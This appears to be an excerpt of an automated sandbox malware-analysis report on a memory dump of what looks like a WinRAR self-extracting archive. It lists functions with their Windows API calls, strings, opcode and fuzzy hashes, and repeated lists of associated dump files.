Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: AddressCryptMemoryProc$CurrentDirectoryProcessProtectSystemUnprotect
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 1461530308-2207617598
Opcode ID: 5e30124dab54d1e4e1df3ab6e029724ba8950eac8b155a54fcec143a79a36128
Instruction ID: 82402b679a8fd7abb62233a1b49522504ef0a71e923d73369954e0d03b3a7292
Opcode Fuzzy Hash: 5e30124dab54d1e4e1df3ab6e029724ba8950eac8b155a54fcec143a79a36128
Instruction Fuzzy Hash: BD314830A02B41C5FE548F5AA8407E727A0B758BD8F59017EDD6A477A4EF3ACB4B8700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2942C4 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 610
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hc%u, xrefs: 000000013F294870
h%u, xrefs: 000000013F294818
CMT, xrefs: 000000013F294B82

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID:
String ID: CMT$h%u$hc%u
API String ID: 0-3282847064
Opcode ID: bb90cae3c129a3cc1e383bd6c1599fa0c8d3d6b2a1585d9c5a4f460a8a2bbd5e
Instruction ID: 267020e83ef691a24e45886021e5a14da414cbd46eeaf241ce0598148b8769cf
Opcode Fuzzy Hash: bb90cae3c129a3cc1e383bd6c1599fa0c8d3d6b2a1585d9c5a4f460a8a2bbd5e
Instruction Fuzzy Hash: 5652AA32B00684DAFB08DB31C5517EF67A1F755788F84803ADB4A07696EB34DA7AC750

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29DDB0 Relevance: 7.6, APIs: 5, Instructions: 97
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,000000013F29DC57), ref: 000000013F29DDFA
FindFirstFileW.KERNEL32 ref: 000000013F29DE2B
GetLastError.KERNEL32 ref: 000000013F29DE3A
FindNextFileW.KERNEL32(?,?,?,?,?,000000013F29DC57), ref: 000000013F29DE61
GetLastError.KERNEL32 ref: 000000013F29DE6F

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: c7a9b75149be672fc0ded2493ed5d3015ede7f253c901e6da451452993f7ec22
Instruction ID: c6956fb799e7d0a0409ce176cc613b295cd9df53f59f6580707a26416b56b8ab
Opcode Fuzzy Hash: c7a9b75149be672fc0ded2493ed5d3015ede7f253c901e6da451452993f7ec22
Instruction Fuzzy Hash: AA419032A04A80D6EE649B25E5403DA73A0F759BF4F804329EBBD477C5DB78C66AD700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B6FF0 Relevance: 3.0, APIs: 2, Instructions: 18COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 000000013F2B6FF9
_invalid_parameter_noinfo.LIBCMT ref: 000000013F2C1410

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ExceptionFilterUnhandled_invalid_parameter_noinfo
String ID:
API String ID: 59578552-0
Opcode ID: f659f1d2224829b1a5c0190eb946591e0c287dba180ab31d4938acd676490fde
Instruction ID: de6a578200bd0d9642210d8937a271d2b85867d1a71ed312a20d5ca6956f09b2
Opcode Fuzzy Hash: f659f1d2224829b1a5c0190eb946591e0c287dba180ab31d4938acd676490fde
Instruction Fuzzy Hash: EBE0EC31E05145C6EE6C77A54C833EE10906B45360F60023DE621427D2C95DCB934A62

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B5334 Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 197
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000013F2A5008: GetModuleHandleW.KERNEL32 ref: 000000013F2A5050
Part of subcall function 000000013F2A5008: GetProcAddress.KERNEL32 ref: 000000013F2A5068
Part of subcall function 000000013F2A5008: GetProcAddress.KERNEL32 ref: 000000013F2A5095

Part of subcall function 000000013F2B0B5C: GetCurrentDirectoryW.KERNEL32 ref: 000000013F2B0B68

Part of subcall function 000000013F2B13A0: OleInitialize.OLE32 ref: 000000013F2B13BA
Part of subcall function 000000013F2B13A0: SHGetMalloc.SHELL32 ref: 000000013F2B1408

GetCommandLineW.KERNEL32 ref: 000000013F2B539B
OpenFileMappingW.KERNEL32 ref: 000000013F2B53D2
MapViewOfFile.KERNEL32 ref: 000000013F2B53F0
UnmapViewOfFile.KERNEL32 ref: 000000013F2B5458

Part of subcall function 000000013F2B4E64: SetEnvironmentVariableW.KERNEL32 ref: 000000013F2B4E92
Part of subcall function 000000013F2B4E64: SetEnvironmentVariableW.KERNEL32 ref: 000000013F2B4ED2

Part of subcall function 000000013F2A37E8: GetProcAddress.KERNEL32 ref: 000000013F2A3846
Part of subcall function 000000013F2A37E8: GetProcAddress.KERNEL32 ref: 000000013F2A3861
Part of subcall function 000000013F2A37E8: CryptProtectMemory.CRYPT32 ref: 000000013F2A38AA

CloseHandle.KERNEL32 ref: 000000013F2B5461
GetModuleFileNameW.KERNEL32 ref: 000000013F2B5483
SetEnvironmentVariableW.KERNEL32 ref: 000000013F2B5493
GetLocalTime.KERNEL32 ref: 000000013F2B549D
swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F2B54EE
SetEnvironmentVariableW.KERNEL32 ref: 000000013F2B54FE
GetModuleHandleW.KERNEL32 ref: 000000013F2B5506
LoadIconW.USER32 ref: 000000013F2B5525
DialogBoxParamW.USER32 ref: 000000013F2B5591
Sleep.KERNEL32 ref: 000000013F2B55C4
DeleteObject.GDI32 ref: 000000013F2B5601
DeleteObject.GDI32 ref: 000000013F2B5613
CloseHandle.KERNEL32 ref: 000000013F2B565B

Strings

STARTDLG, xrefs: 000000013F2B5580
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 000000013F2B54DD
sfxname, xrefs: 000000013F2B548C
sfxstime, xrefs: 000000013F2B54F7
winrarsfxmappingfile.tmp, xrefs: 000000013F2B53C7

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: AddressEnvironmentFileHandleProcVariable$Module$CloseDeleteObjectView$CommandCryptCurrentDialogDirectoryIconInitializeLineLoadLocalMallocMappingMemoryNameOpenParamProtectSleepTimeUnmapswprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 474173816-3710569615
Opcode ID: ae55004300c74a52631873d85c7dd02dbe8d460143e635d13d5ab7d12d30dd74
Instruction ID: 4af09f2544814d7b01da9578249ab45cc37a0ae53afe8b764b010c949ea1a59c
Opcode Fuzzy Hash: ae55004300c74a52631873d85c7dd02dbe8d460143e635d13d5ab7d12d30dd74
Instruction Fuzzy Hash: 40A12731A11B84C6FB54DF61E8553EB23A1BB98B44F54013DA94E4B6A9DF3CCA4BC740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B61D0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 195
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000013F2B5E2C: DloadProtectSection.DELAYIMP ref: 000000013F2B5E9D

RaiseException.KERNEL32 ref: 000000013F2B6277
DloadReleaseSectionWriteAccess.DELAYIMP ref: 000000013F2B6263

Part of subcall function 000000013F2B613C: DloadProtectSection.DELAYIMP ref: 000000013F2B619B

LoadLibraryExA.KERNELBASE ref: 000000013F2B6316
GetLastError.KERNEL32 ref: 000000013F2B6324
DloadReleaseSectionWriteAccess.DELAYIMP ref: 000000013F2B6356
RaiseException.KERNEL32 ref: 000000013F2B636A

Strings

H, xrefs: 000000013F2B6244

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: DloadSection$AccessExceptionProtectRaiseReleaseWrite$ErrorLastLibraryLoad
String ID: H
API String ID: 3432403771-2852464175
Opcode ID: 5825db9d11c9886576c81ba2324aa96053477cb978010f585f34799421a7af15
Instruction ID: 635b59bbd4813137d10cb1ab9f048f49bc435d4c359ceecbeb13bd5983128063
Opcode Fuzzy Hash: 5825db9d11c9886576c81ba2324aa96053477cb978010f585f34799421a7af15
Instruction Fuzzy Hash: 8E911532A11B54CAEF50CFA5D8847EE37B1BB08B98F094439DE0A17B54EB78DA46C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2A1ADC Relevance: 21.6, APIs: 2, Strings: 10, Instructions: 560
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,?,?,?,?,?,?,000000013F2A1ABA), ref: 000000013F2A1B3B

Part of subcall function 000000013F2A66A4: MultiByteToWideChar.KERNEL32 ref: 000000013F2A66D1

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F2A202E

Strings

DIRECTION, xrefs: 000000013F2A1EA0
MENU, xrefs: 000000013F2A1E92
,, xrefs: 000000013F2A2063
STRINGS, xrefs: 000000013F2A1E76
RTL, xrefs: 000000013F2A1FE2
@%s:, xrefs: 000000013F2A200D
*messages***, xrefs: 000000013F2A1CB6
$%s:, xrefs: 000000013F2A2006
*messages***, xrefs: 000000013F2A1C77
DIALOG, xrefs: 000000013F2A1E84

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ByteCharFileModuleMultiNameWide_snwprintf
String ID: ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS
API String ID: 2679931996-2291855099
Opcode ID: 173ff7056367760f8a683b073ba681990516a845bc5b83af1ac99b07165e8416
Instruction ID: 5d9f335a6b94d5a5d49df5ca9fbdccfa1bac735e35fe5cc3d0dbe3c2bdec4dbf
Opcode Fuzzy Hash: 173ff7056367760f8a683b073ba681990516a845bc5b83af1ac99b07165e8416
Instruction Fuzzy Hash: 2B42AC32A11A81D5FF24DB25C8447EF6365FB54788F80403ADA094BAD9EF38CB5AC740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B4568 Relevance: 16.6, APIs: 11, Instructions: 99
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000013F2B2090: PeekMessageW.USER32 ref: 000000013F2B20A6
Part of subcall function 000000013F2B2090: GetMessageW.USER32 ref: 000000013F2B20BD
Part of subcall function 000000013F2B2090: IsDialogMessageW.USER32 ref: 000000013F2B20D4
Part of subcall function 000000013F2B2090: TranslateMessage.USER32 ref: 000000013F2B20E3
Part of subcall function 000000013F2B2090: DispatchMessageW.USER32 ref: 000000013F2B20EE

GetDlgItem.USER32 ref: 000000013F2B45A7
ShowWindow.USER32 ref: 000000013F2B45CD
SendMessageW.USER32 ref: 000000013F2B45E2
SendMessageW.USER32 ref: 000000013F2B45FA
SendMessageW.USER32 ref: 000000013F2B461B
SendMessageW.USER32 ref: 000000013F2B4637
SendMessageW.USER32 ref: 000000013F2B467A
SendMessageW.USER32 ref: 000000013F2B468E
SendMessageW.USER32 ref: 000000013F2B46A2
SendMessageW.USER32 ref: 000000013F2B46CC
SendMessageW.USER32 ref: 000000013F2B46E4

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID:
API String ID: 3569833718-0
Opcode ID: a30973e076cc541b64c0e5123fe7c0df23733e18c8d7f1d7fd44edce6e58e559
Instruction ID: f402712af7c8cf116f04ad649724a80979038b353f93853507b327ba0cb33c97
Opcode Fuzzy Hash: a30973e076cc541b64c0e5123fe7c0df23733e18c8d7f1d7fd44edce6e58e559
Instruction Fuzzy Hash: E6418D31B50A4A9AF7108F65E811BCA3BA0F789B98F541139DD1B17B99CE7DC607CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2BB78C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(?,?,00000000,000000013F2BB993,?,?,?,000000013F2B96FE,?,?,?,000000013F2B96B9), ref: 000000013F2BB811
GetLastError.KERNEL32(?,?,00000000,000000013F2BB993,?,?,?,000000013F2B96FE,?,?,?,000000013F2B96B9), ref: 000000013F2BB81F
LoadLibraryExW.KERNEL32(?,?,00000000,000000013F2BB993,?,?,?,000000013F2B96FE,?,?,?,000000013F2B96B9), ref: 000000013F2BB849
FreeLibrary.KERNEL32(?,?,00000000,000000013F2BB993,?,?,?,000000013F2B96FE,?,?,?,000000013F2B96B9), ref: 000000013F2BB88F
GetProcAddress.KERNEL32(?,?,00000000,000000013F2BB993,?,?,?,000000013F2B96FE,?,?,?,000000013F2B96B9), ref: 000000013F2BB89B

Strings

api-ms-, xrefs: 000000013F2BB831

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: c77115432eaf256f3fa09f936935641facb5cfb8b18f71be155dd5b9e2467c82
Instruction ID: 5c5fbd7bb1047a07388590c4f69e993b445fa58ab6a8c3af25a3891d804020eb
Opcode Fuzzy Hash: c77115432eaf256f3fa09f936935641facb5cfb8b18f71be155dd5b9e2467c82
Instruction Fuzzy Hash: 3631AF32F12A48D1FE21DB56A8017DB2394FB48BA4F19453DEE1D4B7A4EF38CA428700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B2288 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadBitmapW.USER32 ref: 000000013F2B229E
GetObjectW.GDI32 ref: 000000013F2B22CF
DeleteObject.GDI32 ref: 000000013F2B2309
DeleteObject.GDI32 ref: 000000013F2B2339

Part of subcall function 000000013F2B0C0C: FindResourceW.KERNEL32 ref: 000000013F2B0C25
Part of subcall function 000000013F2B0C0C: SizeofResource.KERNEL32 ref: 000000013F2B0C41
Part of subcall function 000000013F2B0C0C: LoadResource.KERNEL32 ref: 000000013F2B0C5B
Part of subcall function 000000013F2B0C0C: LockResource.KERNEL32 ref: 000000013F2B0C6D
Part of subcall function 000000013F2B0C0C: GlobalAlloc.KERNELBASE ref: 000000013F2B0C8E
Part of subcall function 000000013F2B0C0C: GlobalLock.KERNEL32 ref: 000000013F2B0CA3
Part of subcall function 000000013F2B0C0C: CreateStreamOnHGlobal.OLE32 ref: 000000013F2B0CD0
Part of subcall function 000000013F2B0C0C: GdipAlloc.GDIPLUS ref: 000000013F2B0CE6
Part of subcall function 000000013F2B0C0C: GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 000000013F2B0D51
Part of subcall function 000000013F2B0C0C: GlobalUnlock.KERNEL32 ref: 000000013F2B0D74
Part of subcall function 000000013F2B0C0C: GlobalFree.KERNEL32 ref: 000000013F2B0D7D

Strings

], xrefs: 000000013F2B22D7

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Global$Resource$Object$AllocBitmapCreateDeleteGdipLoadLock$FindFreeFromSizeofStreamUnlock
String ID: ]
API String ID: 3561356813-3352871620
Opcode ID: 7b4fa83177bad47321e5e6416dc10b225e33d74c417afac1c96156198ac862ae
Instruction ID: d7c5c967783167bac9af0d1615dfd498489419d06029d3367b87b2e31481ef08
Opcode Fuzzy Hash: 7b4fa83177bad47321e5e6416dc10b225e33d74c417afac1c96156198ac862ae
Instruction Fuzzy Hash: 89115431B49744C2EA56DB51A6543EA6291BB88BC4F08003DDD4E47BEADF3CCE06C704

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29C990 Relevance: 7.6, APIs: 5, Instructions: 121
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 000000013F29CA43
GetLastError.KERNEL32 ref: 000000013F29CA52
CreateFileW.KERNEL32 ref: 000000013F29CA95
GetLastError.KERNEL32 ref: 000000013F29CA9E
SetFileTime.KERNEL32 ref: 000000013F29CAF8

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 4bc8a05c1fc9085f767ae555234f7091697c172257b6d963882fc4571e3fc474
Instruction ID: e463057b4044738a4c9545b5dd93a9b7d144f7921ac26b0eec0f508a59d90710
Opcode Fuzzy Hash: 4bc8a05c1fc9085f767ae555234f7091697c172257b6d963882fc4571e3fc474
Instruction Fuzzy Hash: 72410572A44690C6FB248F25E5153EB6791E385BF8F14032DDE6A0BAC4CB7DC5568B40

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C38C4 Relevance: 7.6, APIs: 5, Instructions: 114
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 000000013F2C39E6

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: b947aa5d3a64ffecfaea7f73750458e3202313a70507ae23ea93805b26baa352
Instruction ID: 633bf38dd3ea651172c2607c16095fee767d1dbb8778252b0004e1b0cdd2af6e
Opcode Fuzzy Hash: b947aa5d3a64ffecfaea7f73750458e3202313a70507ae23ea93805b26baa352
Instruction Fuzzy Hash: 64410472B06A40D6FF159B92A844BD76395B748BE0F09593D9D6D4F788EB3CCA438300

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B2090 Relevance: 7.5, APIs: 5, Instructions: 27windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32 ref: 000000013F2B20A6
GetMessageW.USER32 ref: 000000013F2B20BD
IsDialogMessageW.USER32 ref: 000000013F2B20D4
TranslateMessage.USER32 ref: 000000013F2B20E3
DispatchMessageW.USER32 ref: 000000013F2B20EE

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
